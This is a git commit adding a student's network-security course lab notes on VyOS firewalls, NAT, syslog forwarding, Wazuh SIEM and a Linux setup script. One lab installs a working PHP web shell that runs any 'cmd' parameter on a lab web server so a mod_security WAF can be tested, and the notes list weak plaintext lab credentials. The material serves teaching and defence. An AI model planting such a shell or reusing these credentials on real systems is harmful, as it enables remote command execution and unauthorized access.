migrate to git.charlotte.sh
This commit is contained in:
Charlotte Croce
commit
fbd588721e
412 changed files with 13750 additions and 0 deletions
121
net-sec-controls-sec350/labs/week01/lab1.1-routing-and-dmz.md
Normal file
121
net-sec-controls-sec350/labs/week01/lab1.1-routing-and-dmz.md
Normal file
|
|
@ -0,0 +1,121 @@
|
|||
# Lab 1.1, Routing and DMZ
|
||||
|
||||
## Configuring rw01
|
||||
- changing the champuser password: `password123!`
|
||||
- set hostname to `rw01-charlotte`([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#set-hostname))
|
||||
- add sudo user `charlotte:password123!` ([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#creating-privileged-user))
|
||||
- Make sure you have a static ip that matches the one in the IP assignments spreadsheet: use **nmtui**, set IP to `10.0.17.51/24` and gateway/DNS to `10.0.17.2` \
|
||||
|
||||
|
||||
|
||||
## fw01, gateway/router/firewall ([VyOS doc](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/net-sec-controls-sec350/vyos.md))
|
||||
 \
|
||||
default creds: `vyoz:Ch@mpla1n!22`
|
||||
|
||||
### set hostname
|
||||
```
|
||||
configure
|
||||
set system host-name fw01-charlotte
|
||||
commit
|
||||
save
|
||||
```
|
||||
Repeat exit until you get to a login prompt. Then you should see your new hostname, so go ahead and log in back to configure.
|
||||
|
||||
### configure interfaces
|
||||
```
|
||||
configure
|
||||
set interfaces ethernet eth0 description SEC350-WAN
|
||||
set interfaces ethernet eth1 description CHARLOTTE-DMZ
|
||||
set interfaces ethernet eth2 description CHARLOTTE-LAN
|
||||
set interfaces ethernet eth0 address 10.0.17.151/24
|
||||
set interfaces ethernet eth1 address 172.16.50.2/29
|
||||
set interfaces ethernet eth2 address 172.16.150.2/24
|
||||
commit
|
||||
save
|
||||
```
|
||||
|
||||
|
||||
### configure gateway & DNS
|
||||
```
|
||||
configure
|
||||
set protocols static route 0.0.0.0/0 next-hop 10.0.17.2
|
||||
set system name-server 10.0.17.2
|
||||
commit
|
||||
save
|
||||
```
|
||||
|
||||
### Configuring NAT and DNS Forwarding for DMZ
|
||||
```
|
||||
configure
|
||||
set nat source rule 10 description "NAT FROM DMZ to WAN"
|
||||
set nat source rule 10 outbound-interface eth0
|
||||
set nat source rule 10 source address 172.16.50.0/29
|
||||
set nat source rule 10 translation address masquerade
|
||||
set service dns forwarding listen-address 172.16.50.2
|
||||
set service dns forwarding allow-from 172.16.50.0/29
|
||||
set service dns forwarding system
|
||||
commit
|
||||
save
|
||||
```
|
||||
|
||||
|
||||
|
||||
## web01, web server
|
||||
### basics
|
||||
- Set adapter to DMZ: \
|
||||
 \
|
||||
default creds: `root:Ch@mpl@1n!22`
|
||||
|
||||
- set hostname to `web01-charlotte`([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#set-hostname))
|
||||
- add sudo user `charlotte:password123!` ([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#creating-privileged-user))
|
||||
- `nmtui` \
|
||||
 \
|
||||
|
||||
|
||||
### configure httpd
|
||||
- install httpd ([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab08-apache.md#install-httpd))
|
||||
|
||||
|
||||
### on rw01, testing web service
|
||||
- any address in your DMZ should route via fw01’s WAN interface. We do this with a static route on rw01
|
||||
- anything addressed to the 172.16.50.0/29 network will go through the 10.0.17.151 router
|
||||
```
|
||||
sudo ip route add 172.16.50.0/29 via 10.0.17.151
|
||||
sudo systemctl restart NetworkManager
|
||||
traceroute 172.16.50.3
|
||||
```
|
||||
|
||||
|
||||
## log01, rsyslog server
|
||||
log01 will be initially in the DMZ, later we will change this to a segmented network area
|
||||
### basics
|
||||
|
||||
- set hostname to `log01-charlotte`([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#set-hostname))
|
||||
- add sudo user `charlotte:password123!` ([reference](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/sysadmin-i-sys255/lab03-linux.md#creating-privileged-user))
|
||||
|
||||
|
||||
### rsyslog setup
|
||||
 \
|
||||
|
||||
|
||||
|
||||
allow UDP and TCP 514 for syslog traffic
|
||||
```
|
||||
sudo firewall-cmd --add-port=514/tcp --permament
|
||||
sudo firewall-cmd --add-port=514/udp --permament
|
||||
sudo firewall-cmd --reload
|
||||
```
|
||||
|
||||
|
||||
On log01, the `/etc/rsyslog.conf` file needs to be modified to receive syslog messages over ports 514 tcp and udp. Uncomment the appropriate lines (see below) and restart the rsyslog service.
|
||||
 \
|
||||
|
||||
|
||||
### on web01, configure log forwarding to log01
|
||||
- `sudo yum install rsyslog`
|
||||
- Create the following file: `/etc/rsyslog.d/sec350.conf` and restart rsyslog on web01
|
||||
|
||||
|
||||
- monitor incoming logs on log01: `tail -f /var/log/messages`
|
||||
- create test log on web01: `logger -t test TESTFROMWEB01TOLOG01`
|
||||
|
||||
65
net-sec-controls-sec350/labs/week01/setup_script.sh
Normal file
65
net-sec-controls-sec350/labs/week01/setup_script.sh
Normal file
|
|
@ -0,0 +1,65 @@
|
|||
#!/bin/bash
|
||||
# script to streamline basic linux setup
|
||||
|
||||
|
||||
function sethostname(){
|
||||
if [ -z "$1" ]; then # if no arg (using menu), prompt user
|
||||
echo "current hostname: " $(hostname)
|
||||
echo -n "new hostname (<ENTER> to skip): "
|
||||
read newhostname
|
||||
if [ -z ${newhostname} ]; then
|
||||
return 0
|
||||
fi
|
||||
echo "...'hostnamectl set-hostname ${newhostname}'"
|
||||
hostnamectl set-hostname ${newhostname}
|
||||
else # if arg provided, set hostname to arg
|
||||
hostnamectl set-hostname $1
|
||||
fi
|
||||
echo "current hostname: " $(hostname)
|
||||
}
|
||||
|
||||
function addsudouser(){
|
||||
if [ -z $2 ]; then
|
||||
echo -n "username: "
|
||||
read username
|
||||
echo -n "password: "
|
||||
read password
|
||||
echo "...adduser ${username}"
|
||||
adduser ${username}
|
||||
echo "...echo ${password} | passwd ${username} --stdin"
|
||||
echo ${password} | passwd ${username} --stdin
|
||||
echo "...'usermod -aG sudo ${username}"
|
||||
usermod -aG sudo ${username}
|
||||
fi
|
||||
}
|
||||
|
||||
# privilege check. this script has to be run as root (sudo)
|
||||
user=$(whoami)
|
||||
if [[ "$user" != "root" ]]; then
|
||||
echo "please run as root. exiting..."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# interactive menu
|
||||
while :
|
||||
do
|
||||
echo "PLease select an option:"
|
||||
echo "[1] Set Hostname"
|
||||
echo "[2] create user"
|
||||
echo "[7] Quit"
|
||||
echo -n "> "
|
||||
read userInput
|
||||
echo ""
|
||||
|
||||
if [[ "$userInput" == "1" ]]; then
|
||||
sethostname
|
||||
|
||||
elif [[ "$userInput" == "2" ]]; then
|
||||
addsudouser
|
||||
|
||||
elif [[ "$userInput" == "7" ]]; then
|
||||
echo "Exiting,,."
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
# Lab 2.1 Standardizing on Time
|
||||
Time is not recorded consistently across all of our systems. You will note very quickly that none of your systems record the timezone within the syslog entry. Without this data it is very hard to develop a cohesive timeline for events that span multiple log sources and multiple time zones. We are going to fix this.
|
||||
|
||||
Though the date is set for EST, the specific log entry that may or may not be forwarded to a log server has no indication of the timezone or the year.
|
||||
|
||||
|
||||
|
||||
## rw01 - ubuntu
|
||||
We fix this by commenting out a line (shown below) in RW01's main `/etc/rsyslog.conf` file. By default, rsyslog does not use high precision timestamps. Make sure to restart rsyslog on rw01
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## web01 & log01 - rocky
|
||||
in `/etc/rsyslog.conf`
|
||||
- add these lines:
|
||||
- `$ActionFileDefaultTemplate RSYSLOG_SyslogProtocol23Format`---enables RFC 5424-style syslog format, which includes high-precision timestamps with timezone information.
|
||||
- `template(name="BetterTiming" type="string" string="%timestamp:::date-rfc3339% %HOSTNAME% %syslogtag%%msg%\n")`---explicitly defines a custom template, including high-fidelity timestamps with timezone info
|
||||
- add the suffix `;BetterTiming` to the loggging destination---enables the custom template on your logs
|
||||
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,66 @@
|
|||
# Lab 2.2 - Syslog Organization on log01
|
||||
|
||||
## setup mgmt01
|
||||
- on LAN
|
||||
- ip: 172.16.150.10
|
||||
- DG & DNS: 172.16.150.2
|
||||
|
||||
### configure fw01 with the LAN
|
||||
#### NAT rules on fw01, to set NAT for LAN to WAN
|
||||
```
|
||||
set nat source rule 20 description "NAT FROM LAN to WAN"
|
||||
set nat source rule 20 outbound-interface eth0
|
||||
set nat source rule 20 source address 172.16.150.0/24
|
||||
set nat source rule 20 translation address masquerade
|
||||
```
|
||||
#### DNS forwarding from LAN to WAN
|
||||
```
|
||||
set service dns forwarding listen-address 172.16.150.2
|
||||
set service dns forwarding allow-from 172.16.150.0/24
|
||||
```
|
||||
mgmt01 should now be able to ping google.com
|
||||
|
||||
### Install chrome remote desktop on mgmt01
|
||||
- open chrome
|
||||
- sign in with school email and turn on sync
|
||||
- go to remotedesktop.google.com, install the app if you want
|
||||
- on main host (laptop, go to `https://g.co/crd/headless`), download and install the package:
|
||||
- there might be dependency issues, this command worked on my computer: `sudo apt install libutempter0 xbase-clients xserver-xorg-video-dummy xvfb`
|
||||
- `sudo dpkg -i google-chrome-stable_current_amd64`
|
||||
- still on main host, click next and copy the command for the remote OS (in our case, debian)
|
||||
- paste it in the remote terminal, and create a PIN
|
||||
- at this point you should be able to access mgmt01 via chrome remote desktop, you might need to update CRD on mgmt01 first though, but we know how to do that ^
|
||||
- IMPORTANT: log out of the remote computer before attempting to connect
|
||||
|
||||
## log organization on log01
|
||||
Having all of our remote logs stuffed into log01's /var/log/messages or /var/log/secure is not helpful. Remote logs should be segregated and ideally stored on reliable and redundant storage in a manner that supports dealing with discrete event types. We are going to store logs in a directory hierarchy in order to provide this organization.
|
||||
|
||||
- re-comment the input modules from lab 1.1
|
||||
|
||||
- create a new config file call sec350.conf:
|
||||
|
||||
- copy that file to /etc/rsyslod.d/: `sudo cp sec350.conf /etc/rsyslog.d/`
|
||||
|
||||
```
|
||||
This configuration file (03-sec350.conf) will dynamically create and name files based upon hostname,
|
||||
date and process name. Input over udp 514 is associated with the RemoteDevice ruleset which in turn
|
||||
uses the dynamic template configuration called “DynFile”.
|
||||
```
|
||||
testing \
|
||||
|
||||
|
||||
|
||||
## web01: Logging Authorization Events
|
||||
Modify the rsyslog client configuration on web01 so that authentication events are forwarded to our log server. the line `authpriv.* @172.16.50.5` will send all authpriv logs to the remote server(log01)
|
||||
 \
|
||||
after sshing from rw01>web01(with failed attempts), we can see this in the sshd.log file \
|
||||
|
||||
|
||||
## fw01: Logging Authorization Events
|
||||
We are going to adjust the vyos configuration to send authentication messages from fw01 to log01. Note, vyos does produce a ton of useless authentication messages which we are going to have to deal with at some point.
|
||||
- first, [change the default password](https://git.charlotte.sh/lotte/ChamplainTechJournals/src/branch/main/net-sec-controls-sec350/week01/vyos.md#change-password) : `set system login user vyos authentication plaintext-password password123!`
|
||||
- `set system syslog host 172.16.50.5 facility authpriv level info` \
|
||||
 \
|
||||
|
||||
|
||||
|
||||
7
net-sec-controls-sec350/labs/week02/centOS_repo_fix.md
Normal file
7
net-sec-controls-sec350/labs/week02/centOS_repo_fix.md
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
# CentOS Repo Fix
|
||||
They changed the URLs for the repos for CentOS. to fix, change the repos in yum's config:
|
||||
```
|
||||
sudo sed -i s/mirror.centos.org/vault.centos.org/g /etc/yum.repos.d/CentOS-*.repo
|
||||
sudo sed -i s/^#.*baseurl=http/baseurl=http/g /etc/yum.repos.d/CentOS-*.repo
|
||||
sudo sed -i s/^mirrorlist=http/#mirrorlist=http/g /etc/yum.repos.d/CentOS-*.repo
|
||||
```
|
||||
80
net-sec-controls-sec350/labs/week03/lab3.1-segmentation-1.md
Normal file
80
net-sec-controls-sec350/labs/week03/lab3.1-segmentation-1.md
Normal file
|
|
@ -0,0 +1,80 @@
|
|||
# Lab 3.1 Segmentation 1
|
||||
In this lab, we are going to segment our network by adding a new firewall and a new network (MGMT). We will retire our log01 server and replace it with a new server on the MGMT network.
|
||||
|
||||
___
|
||||
# if you got this far...you can shutdown log01. this machine is no longer needed
|
||||
- shutdown log01
|
||||
- On web01, remove your rsyslog dropin configuration from `/etc/rsyslog.d` (comment out the `user.notice` and `authpriv.*` lines)
|
||||
- On fw01, remove syslog host setting from configuration: `delete system syslog host 172.16.50.5`
|
||||
___
|
||||
|
||||
|
||||
## configure wks01 (LAN)
|
||||
- IP Address: 172.16.150.50\24
|
||||
- Gateway: 172.16.150.2
|
||||
- DNS: 172.16.150.2
|
||||
|
||||
|
||||
## fw01 - create a rule for NAT from MGMT to WAN
|
||||
```
|
||||
set nat source rule 30 description "NAT FROM MGMT to WAN"
|
||||
set nat source rule 30 outbound-interface eth0
|
||||
set nat source rule 30 source address 172.16.200.0/28
|
||||
set nat source rule 30 translation address masquerade
|
||||
```
|
||||
|
||||
|
||||
## fw-mgmt
|
||||
|
||||
 \
|
||||
Configure your fw-mgmt firewall's hostname with interface descriptions and interface addresses:
|
||||
- eth0: LAN- 172.16.150.3/24
|
||||
- eth1: MGMT- 172.16.200.2/28 (NOTE: MGMT is using a /28!)
|
||||
```
|
||||
set interfaces ethernet eth0 description LAN
|
||||
set interfaces ethernet eth1 description MGMT
|
||||
set interfaces ethernet eth0 address 172.16.150.3/24
|
||||
set interfaces ethernet eth1 address 172.16.200.2/28
|
||||
```
|
||||
|
||||
|
||||
Set the following:
|
||||
- gateway next-hop: `set protocols static route 0.0.0.0/0 next-hop 172.16.150.2`
|
||||
- name server to your fw01’s LAN interface address: `set system name-server 172.16.150.2`
|
||||
- dns forwarding such that requests are allowed from your management subnet and management interface.
|
||||
```
|
||||
set service dns forwarding listen-address 172.16.200.2
|
||||
set service dns forwarding allow-from 172.16.200.0/28
|
||||
set service dns forwarding system
|
||||
```
|
||||
|
||||
## configure mgmt02 (MGMT)
|
||||
- IP Address: 172.16.200.11/28
|
||||
- Gateway: 172.16.200.2
|
||||
- DNS: 172.16.200.2
|
||||
|
||||
|
||||
## RIP on FW1 and FW-MGMT
|
||||
fw01
|
||||
```
|
||||
set protocols rip interface eth2
|
||||
set protocols rip network '172.16.50.0/29'
|
||||
```
|
||||
fw-mgmt
|
||||
```
|
||||
set protocols rip interface eth0
|
||||
set protocols rip network '172.16.200.0/28'
|
||||
```
|
||||
|
||||
|
||||
## configure jump | wazuh-charlotte (MGMT)
|
||||
- IP: 172.16.200.10/28
|
||||
- Gateway: 172.16.200.2
|
||||
- DNS: 172.16.200.2
|
||||
|
||||
### netplan configuration (an alternative to nmtui)
|
||||
/etc/netplan/00-installer-config.yaml is the config file
|
||||
|
||||
|
||||
`sudo netplan apply`
|
||||
`sudo hostnamectl hostname wazuh-charlotte`
|
||||
39
net-sec-controls-sec350/labs/week03/lab3.2-wazuh.md
Normal file
39
net-sec-controls-sec350/labs/week03/lab3.2-wazuh.md
Normal file
|
|
@ -0,0 +1,39 @@
|
|||
# Lab 3.2 - Wazuh
|
||||
In this lab, we are going to experiment with a far more modern logging system called Wazuh. Wazuh is one of several ELK based SIEMs. We are using this one because of the relatively ease of installation as well as functionality. Unlike a traditionally syslog client and server, Wazuh allows us to install agents on supported systems. Agents can refine that information sent to their SIEM for streamlined analysis.
|
||||
|
||||
>[!Warning]
|
||||
>TAKE A SNAPSHOT BEFORE INSTALLATION
|
||||
|
||||
## Installation
|
||||
For a single node installation on wazuh, run the following command.
|
||||
`curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a -i`
|
||||
(added -i to ignore minimum requirements of 2CPU and 4 GB RAM)
|
||||
|
||||
>[!Note]
|
||||
>Save the auto-generated password, you will need it later
|
||||
|
||||
## Wazuh/OSSEC Agent on web01
|
||||
- Wazuh dropdown > management > groups > create a new group called linux
|
||||
- Wazuh dropdown > agents > Deploy a new agent with the following configuration.
|
||||
- Redhat/CentoS
|
||||
- CentOS 6 or higher (Note, it will work on rocky 8)
|
||||
- x86_64
|
||||
- 172.16.200.10
|
||||
- Linux
|
||||
- run the generated command on web01 to install the agent:
|
||||
```
|
||||
curl -o wazuh-agent-4.7.5-1.x86_64.rpm https://packages.wazuh.com/4.x/yum/wazuh-agent-4.7.5-1.x86_64.rpm && sudo WAZUH_MANAGER='172.16.200.10' WAZUH_AGENT_GROUP='linux' WAZUH_AGENT_NAME='web01-charlotte' rpm -ihv wazuh-agent-4.7.5-1.x86_64.rpm
|
||||
```
|
||||
- if you can't access through a web browser. try going to http://172.16.200.10/app/login. for some reason this worked for me
|
||||
|
||||
|
||||
|
||||
- start the agent
|
||||
```
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable wazuh-agent
|
||||
sudo systemctl start wazuh-agent
|
||||
```
|
||||
|
||||
## to view security events
|
||||
dropdown > modules > security events
|
||||
201
net-sec-controls-sec350/labs/week04/lab4.1-network-firewalls1.md
Normal file
201
net-sec-controls-sec350/labs/week04/lab4.1-network-firewalls1.md
Normal file
|
|
@ -0,0 +1,201 @@
|
|||
# network firewalls 1
|
||||
|
||||
# Configure fw01
|
||||
- Create and link firewall zones to interfaces (eth0, eth1, eth2)
|
||||
```
|
||||
set zone-policy zone WAN interface eth0
|
||||
set zone-policy zone DMZ interface eth1
|
||||
set zone-policy zone LAN interface eth2
|
||||
```
|
||||
|
||||
### WAN and DMZ firewalls
|
||||
In the illustration below, we have created firewalls for WAN to DMZ and DMZ to WAN,
|
||||
we are going to lock them down with a default drop directive, and we will log violations of the firewall rules.
|
||||
We have also assigned firewalls to the respective direction of communication between zones.
|
||||
|
||||
Firewalls for WAN and DMZ
|
||||
```
|
||||
set firewall name WAN-to-DMZ default-action drop
|
||||
set firewall name DMZ-to-WAN default-action drop
|
||||
set firewall name WAN-to-DMZ enable-default-log
|
||||
set firewall name DMZ-to-WAN enable-default-log
|
||||
```
|
||||
|
||||
Assigning Firewalls to Zones
|
||||
```
|
||||
set zone-policy zone WAN from DMZ firewall name DMZ-to-WAN
|
||||
set zone-policy zone DMZ from WAN firewall name WAN-to-DMZ
|
||||
```
|
||||
|
||||
On fw01, monitor your firewall logs with the following command:
|
||||
`tail -f /var/log/messages | grep WAN`
|
||||
|
||||
|
||||
## Allow http inbound
|
||||
```
|
||||
set firewall name WAN-to-DMZ rule 10 description "Allow HTTP from WAN to DMZ"
|
||||
set firewall name WAN-to-DMZ rule 10 action accept
|
||||
set firewall name WAN-to-DMZ rule 10 destination address 172.16.50.3
|
||||
set firewall name WAN-to-DMZ rule 10 destination port 80
|
||||
set firewall name WAN-to-DMZ rule 10 protocol tcp
|
||||
```
|
||||
## allow return traffic
|
||||
this won't work if you try to ping/curl, because traffic back out to WAN is still blocked
|
||||
these commands will allow established connection through DMZ-to-WAN
|
||||
```
|
||||
set firewall name DMZ-to-WAN rule 1 action accept
|
||||
set firewall name DMZ-to-WAN rule 1 state established enable
|
||||
```
|
||||
|
||||
|
||||
>[!Note]
|
||||
>We will reserve rule 1 for two conditions. The first is to allow established connections back out again, the second would be to have an open rule where all connections are allowed. Typically this would be the only rule in such a firewall.
|
||||
|
||||
## DMZ and LAN Traffic Firewalls
|
||||
|
||||
```
|
||||
set firewall name LAN-to-DMZ default-action drop
|
||||
set firewall name DMZ-to-LAN default-action drop
|
||||
set firewall name LAN-to-DMZ enable-default-log
|
||||
set firewall name DMZ-to-LAN enable-default-log
|
||||
```
|
||||
|
||||
Assigning Firewalls to Zones
|
||||
```
|
||||
set zone-policy zone LAN from DMZ firewall name DMZ-to-LAN
|
||||
set zone-policy zone DMZ from LAN firewall name LAN-to-DMZ
|
||||
```
|
||||
|
||||
### allow ports 1514 and 1515
|
||||
```
|
||||
set firewall name DMZ-to-LAN rule 10 description "wazuh agent communication with server"
|
||||
set firewall name DMZ-to-LAN rule 10 action accept
|
||||
set firewall name DMZ-to-LAN rule 10 destination address 172.16.200.10
|
||||
set firewall name DMZ-to-LAN rule 10 destination port 1514,1515
|
||||
set firewall name DMZ-to-LAN rule 10 protocol tcp
|
||||
```
|
||||
|
||||
### allow return traffic from DMZ
|
||||
```
|
||||
set firewall name DMZ-to-LAN rule 1 action accept
|
||||
set firewall name DMZ-to-LAN rule 1 state established enable
|
||||
```
|
||||
|
||||
|
||||
### allow return traffic from LAN
|
||||
```
|
||||
set firewall name LAN-to-DMZ rule 1 action accept
|
||||
set firewall name LAN-to-DMZ rule 1 state established enable
|
||||
```
|
||||
|
||||
## lan to wan?
|
||||
yes, clients usually need direct access to internet. we will have to configure proxies for this later\
|
||||
Create a default LAN to WAN firewall and associate it with the appropriate zone policy. This firewall will have only one rule allowing LAN clients to initiate WAN connections.
|
||||
```
|
||||
set zone-policy zone WAN from LAN firewall name LAN-to-WAN
|
||||
set firewall name LAN-to-WAN default-action drop
|
||||
set firewall name LAN-to-WAN enable-default-log
|
||||
set firewall name LAN-to-WAN rule 1 action accept
|
||||
```
|
||||
### allow return traffic WAN to LAN
|
||||
```
|
||||
set zone-policy zone LAN from WAN firewall name WAN-to-LAN
|
||||
set firewall name WAN-to-LAN default-action drop
|
||||
set firewall name WAN-to-LAN enable-default-log
|
||||
set firewall name WAN-to-LAN rule 1 action accept
|
||||
set firewall name WAN-to-LAN rule 1 state established enable
|
||||
```
|
||||
|
||||
## LAN to DMZ
|
||||
As communication between LAN and DMZ is currently broken, we need to create a firewall, assign to the appropriate zone policy and adjust it to only allow the traffic we want to go through. We want wks01 to be able to browse to web01 and we want mgmt01 to ssh into anything on the DMZ.
|
||||
|
||||
With that in mind, create firewall rules on LAN-TO-DMZ that allows
|
||||
- 80/tcp from LAN to web01.
|
||||
|
||||
```
|
||||
set firewall name LAN-to-DMZ rule 10 description "Allow HTTP from LAN to DMZ"
|
||||
set firewall name LAN-to-DMZ rule 10 action accept
|
||||
set firewall name LAN-to-DMZ rule 10 destination address 172.16.50.3
|
||||
set firewall name LAN-to-DMZ rule 10 destination port 80
|
||||
set firewall name LAN-to-DMZ rule 10 protocol tcp
|
||||
```
|
||||
- 22/tcp from mgmt01 to the DMZ
|
||||
```
|
||||
set firewall name LAN-to-DMZ rule 20 description "Allow SSH from MGMT-01 to DMZ"
|
||||
set firewall name LAN-to-DMZ rule 20 action accept
|
||||
set firewall name LAN-to-DMZ rule 20 source address 172.16.150.10
|
||||
set firewall name LAN-to-DMZ rule 20 destination port 22
|
||||
set firewall name LAN-to-DMZ rule 20 protocol tcp
|
||||
```
|
||||
|
||||
# Configure fw-mgmt
|
||||
## LAN-to-MGMT
|
||||
```
|
||||
set zone-policy zone LAN interface eth0
|
||||
set zone-policy zone MGMT interface eth1
|
||||
```
|
||||
Firewalls for WAN and DMZ
|
||||
```
|
||||
set firewall name LAN-to-MGMT default-action drop
|
||||
set firewall name MGMT-to-LAN default-action drop
|
||||
set firewall name LAN-to-MGMT enable-default-log
|
||||
set firewall name MGMT-to-LAN enable-default-log
|
||||
```
|
||||
|
||||
Assigning Firewalls to Zones
|
||||
```
|
||||
set zone-policy zone MGMT from LAN firewall name LAN-to-MGMT
|
||||
set zone-policy zone LAN from MGMT firewall name MGMT-to-LAN
|
||||
```
|
||||
|
||||
### LAN-to-MGMT firewall
|
||||
allow established traffic
|
||||
```
|
||||
set firewall name LAN-to-MGMT rule 1 action accept
|
||||
set firewall name LAN-to-MGMT rule 1 state established enable
|
||||
```
|
||||
allow SSH MGMT-01->wazuh
|
||||
```
|
||||
set firewall name LAN-to-MGMT rule 10 description "wazuh SSH access from MGMT-01"
|
||||
set firewall name LAN-to-MGMT rule 10 action accept
|
||||
set firewall name LAN-to-MGMT rule 10 source address 172.16.150.10
|
||||
set firewall name LAN-to-MGMT rule 10 destination address 172.16.200.10
|
||||
set firewall name LAN-to-MGMT rule 10 destination port 22
|
||||
set firewall name LAN-to-MGMT rule 10 protocol tcp
|
||||
```
|
||||
allow HTTPS MGMT-01->wazuh
|
||||
```
|
||||
set firewall name LAN-to-MGMT rule 20 description "wazuh HTTPS access from MGMT-01"
|
||||
set firewall name LAN-to-MGMT rule 20 action accept
|
||||
set firewall name LAN-to-MGMT rule 20 source address 172.16.150.10
|
||||
set firewall name LAN-to-MGMT rule 20 destination address 172.16.200.10
|
||||
set firewall name LAN-to-MGMT rule 20 destination port 443
|
||||
set firewall name LAN-to-MGMT rule 20 protocol tcp
|
||||
```
|
||||
allow wazuh agent communication
|
||||
```
|
||||
set firewall name LAN-to-MGMT rule 30 description "wazuh agent communication with server"
|
||||
set firewall name LAN-to-MGMT rule 30 action accept
|
||||
set firewall name LAN-to-MGMT rule 30 destination address 172.16.200.10
|
||||
set firewall name LAN-to-MGMT rule 30 destination port 1514,1515
|
||||
set firewall name LAN-to-MGMT rule 30 protocol tcp
|
||||
```
|
||||
|
||||
## MGMT-to-LAN
|
||||
Allows established traffic back again
|
||||
```
|
||||
set firewall name MGMT-to-LAN rule 1 action accept
|
||||
set firewall name MGMT-to-LAN rule 1 state established enable
|
||||
```
|
||||
Allows MGMT to initiate any connection to the LAN
|
||||
```
|
||||
set firewall name MGMT-to-LAN rule 10 description "allows MGMT to LAN"
|
||||
set firewall name MGMT-to-LAN rule 10 action accept
|
||||
set firewall name MGMT-to-LAN rule 10 destination address 172.16.150.0/24
|
||||
```
|
||||
Allows MGMT to initiate any connection to the DMZ (yes, this is in the MGMT-to-LAN zone-policy, because MGMT is not directly connected to DMZ)
|
||||
```
|
||||
set firewall name MGMT-to-LAN rule 20 description "allows MGMT to DMZ"
|
||||
set firewall name MGMT-to-LAN rule 20 action accept
|
||||
set firewall name MGMT-to-LAN rule 20 destination address 172.16.50.0/29
|
||||
```
|
||||
53
net-sec-controls-sec350/labs/week05/lab5.1-wazuh-waf.md
Normal file
53
net-sec-controls-sec350/labs/week05/lab5.1-wazuh-waf.md
Normal file
|
|
@ -0,0 +1,53 @@
|
|||
# Lab 5.1 - Wazuf WAF
|
||||
In this lab we are going to augment web01 by adding a web application firewall (WAF). The wazuh agent should currently be able to forward apache error logs so a good deal of our work is done for us already. We are then going to run malicious http requests against web01 to see how our WAF performs.
|
||||
|
||||
## patch fw01
|
||||
>[!Warning]
|
||||
> web01's ability to talk to the WAN and the WANs ability to talk to web01 might be currently restricted. Updating and patching the server is one of the things we must do from time to time. VYOS itself cannot filter by domain name such as allowing traffic to updates.centos.org. It has to be by IP address or subnet. For this reason, many organizations go to an internal mirror for this purpose. We will use a work around.
|
||||
|
||||
### WAN-to-DMZ
|
||||
- add a new permanent rule to vyos such that established connections from the DMZ-to-WAN are allowed back through the WAN-to-DMZ
|
||||
```
|
||||
set firewall name WAN-to-DMZ rule 1 action accept
|
||||
set firewall name WAN-to-DMZ rule 1 state established enable
|
||||
```
|
||||
### DMZ-to-WAN
|
||||
temporary rule for software updates that we either delete, disable or discard when complete
|
||||
```
|
||||
set firewall name DMZ-to-WAN rule 999 action accept
|
||||
set firewall name DMZ-to-WAN rule 999 source address 172.16.50.3
|
||||
```
|
||||
|
||||
## Adding mod_security, the core rule set and php to web01
|
||||
The following command will install mod_security, the core ruleset associated with this layer 7 firewall and the php necessary to make a webshell work.
|
||||
```
|
||||
sudo yum install mod_security mod_security_crs php php-common php-opcache php-cli php-gd php-curl php-mysqlnd -y
|
||||
```
|
||||
- after installation delete temporary rule on fw01
|
||||
```
|
||||
delete firewall name DMZ-to-WAN rule 999
|
||||
```
|
||||
- create a php webshell at `/var/www/html/shell.php` on web01
|
||||
```
|
||||
<!-- source: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 -->
|
||||
<html>
|
||||
<body>
|
||||
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
|
||||
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
|
||||
<input type="SUBMIT" value="Execute">
|
||||
</form>
|
||||
<pre>
|
||||
<?php
|
||||
if(isset($_GET['cmd']))
|
||||
{
|
||||
system($_GET['cmd'] . ' 2>&1');
|
||||
}
|
||||
?>
|
||||
</pre>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
while this shell works for commands like `whoami` and `/sbin/ifconfig`, modsecurity will prevent dangerous commands like `cat /etc/passwd` from being executed
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
# Lab 6.1: Port Forwarding and Jump Boxes
|
||||
|
||||
## RW01 -> WEB
|
||||
security issue: rw01 knows the internal routing for our DMZ and used this information to create a static route from SEC350-WAN to the DMZ. A better alternative is to mask the presence of the DMZ altogether with NAT destination rules.
|
||||
|
||||
- remove static ip route from rw01 to DMZ
|
||||
```
|
||||
sudo ip route del 172.16.50.0/29
|
||||
```
|
||||
|
||||
## WAN to DMZ NAT
|
||||
We've worked with NAT **source** rules when dealing with traffic from inside the network going out to the WAN. Now we are going to add a NAT **destination** rule (aka port forwarding) so that any port 80 traffic coming to our firewall's WAN/eth0 interface will be forwarded on to web01.
|
||||
```
|
||||
set nat destination rule 10 description "HTTP->WEB01"
|
||||
set nat destination rule 10 inbound-interface eth0
|
||||
set nat destination rule 10 destination port 80
|
||||
set nat destination rule 10 protocol tcp
|
||||
set nat destination rule 10 translation address 172.16.50.3
|
||||
```
|
||||
|
||||
## Jump server
|
||||
- log01 is back! but it's a jump server now
|
||||
- IP Address: 172.16.50.4/29
|
||||
- hostname: jump-charlotte
|
||||
|
||||
|
||||
